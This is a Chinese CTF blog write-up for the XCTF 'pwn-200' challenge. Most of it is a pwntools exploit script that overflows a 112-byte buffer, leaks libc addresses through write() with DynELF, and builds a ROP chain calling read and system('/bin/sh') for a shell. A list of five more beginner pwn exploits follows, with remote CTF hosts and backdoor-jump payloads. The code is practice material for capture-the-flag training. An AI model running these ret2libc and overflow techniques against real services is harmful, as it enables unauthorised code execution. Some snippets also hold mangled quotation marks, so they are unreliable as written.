XCTF PWN高手进阶区之pwn-200

本文详细解析了PWN-200程序的漏洞利用过程,通过调用write和read函数,泄露和控制地址空间,最终实现shell提权。文章展示了如何使用DynELF库定位系统调用地址,构造payload绕过安全机制。

此题,setbuf未发现有什么作用!
exp:

from pwn import *

sub_addr=0x8048484
def leak(addr):
payload=‘a’*112+p32(write_plt)+p32(sub_addr)+p32(1)+p32(addr)+p32(4)
p.sendline(payload)
return p.recv()[:4]

p=process("./pwn-200")
print p.recv()
elf=ELF("./pwn-200")
write_plt=elf.sym[‘write’]
write_got=elf.got[‘write’]
read_plt=elf.sym[‘read’]
pop3_ret=0x0804856c

d=DynELF(leak,elf=elf)
system_addr=d.lookup(‘system’,‘libc’)
bin_sh_addr=0x0804b000-8
payload=‘a’*112+p32(read_plt)+p32(pop3_ret)+p32(0x0)+p32(bin_sh_addr)+p32(0x8)+p32(system_addr)+p32(0x0)+p32(bin_sh_addr)
p.sendline(payload)
p.sendline(’/bin/sh’)
p.interactive()

以下是一些pwn基础题目的相关内容: - **题目一**:该题加载完成后直接f5反编译可得一串代码。做pwn题的目的通常是获取flag,关键在于找到黑掉对方电脑的方法。在ctf pwn中,出题人会设计漏洞,利用这些漏洞可查看服务器文件内容。本题文件本身是一个后门函数,其作用是提升用户权限,执行`system('/bin/sh')`代码能让权限提升,进而查看其他文件获取flag。该题真实考点是nc,在终端输入`nc node4.buuoj.cn 29499`可连接服务器,之后`cat flag`就能获得flag [^1]。 - **题目二**:攻防世界XCTF - Pwn入门11题中的签到题,啥也不用干,直接可以获得shell然后拿到flag。解题代码如下: ```python from pwn import * r = remote("111.198.29.45", 59457) r.interactive() r.close() ``` [^2] - **题目三**:编写攻击程序的题目,代码如下: ```python from pwn import * p = remote("node5.buuoj.cn", 28053) payload = b'a'*(0xf + 8) + p64(0x401186) p.send(payload) p.interactive() ``` [^3] - **题目四**:已知buf真实大小为16个字节,溢出到返回地址需要20个字节垃圾数据,构造payload解题。代码如下: ```python from pwn import * p = process('./pwn_01') # p = remote('pwn.node.game.sycsec.com', 30345) # gdb.attach(p) elf = ELF('./pwn_01') context(os="linux", arch="amd64", log_level='debug') backdoor = 0x80484b6 payload = b'a'*20 + p32(backdoor) p.recv() p.sendline(payload) p.interactive() ``` [^4] - **题目五**:夏令营第二周pwn的level0题,解题代码如下: ```python s_addr = 0x0000000000400596 p = remote("pwn2.jarvisoj.com", 9881) p.recvline() p.sendline("A"*0x80 + 'A'*8 + p64(s_addr)) p.interactive() ``` [^5]
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值